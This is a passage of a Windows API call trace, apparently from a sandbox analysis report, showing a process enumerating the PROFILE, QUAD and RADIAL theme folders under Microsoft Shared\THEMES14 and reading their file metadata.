FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.995] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.997] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.999] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0062.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0062.005] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.006] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.007] GetLastError () returned 0x12 [0062.007] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.010] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.013] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.014] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.016] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0062.017] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0062.017] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.018] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.020] GetLastError () returned 0x12 [0062.021] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa028) returned 1 [0062.021] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfad3a0) returned 1 [0062.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.024] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0062.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0062.565] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfafb88 [0062.565] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfafb88, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfafb88, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfafb88) returned 1 [0062.565] NtClose (Handle=0x190) returned 0x0 [0062.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.565] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.565] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.565] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf3e0 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfad3a0 [0062.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.566] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf400 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfad8c8 [0062.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.566] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf420 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfad9d0 [0062.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.566] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf440 [0062.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadad8 [0062.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.567] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.567] GetLastError () returned 0x12 [0062.567] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.567] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.567] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.567] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.567] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0062.567] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0062.567] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.567] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.567] GetLastError () returned 0x12 [0062.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.567] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0062.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0062.572] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfafb88 [0062.572] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfafb88, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfafb88, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfafb88) returned 1 [0062.573] NtClose (Handle=0x184) returned 0x0 [0062.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadbe0 [0062.573] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.573] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.573] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.573] RtlFreeHeap 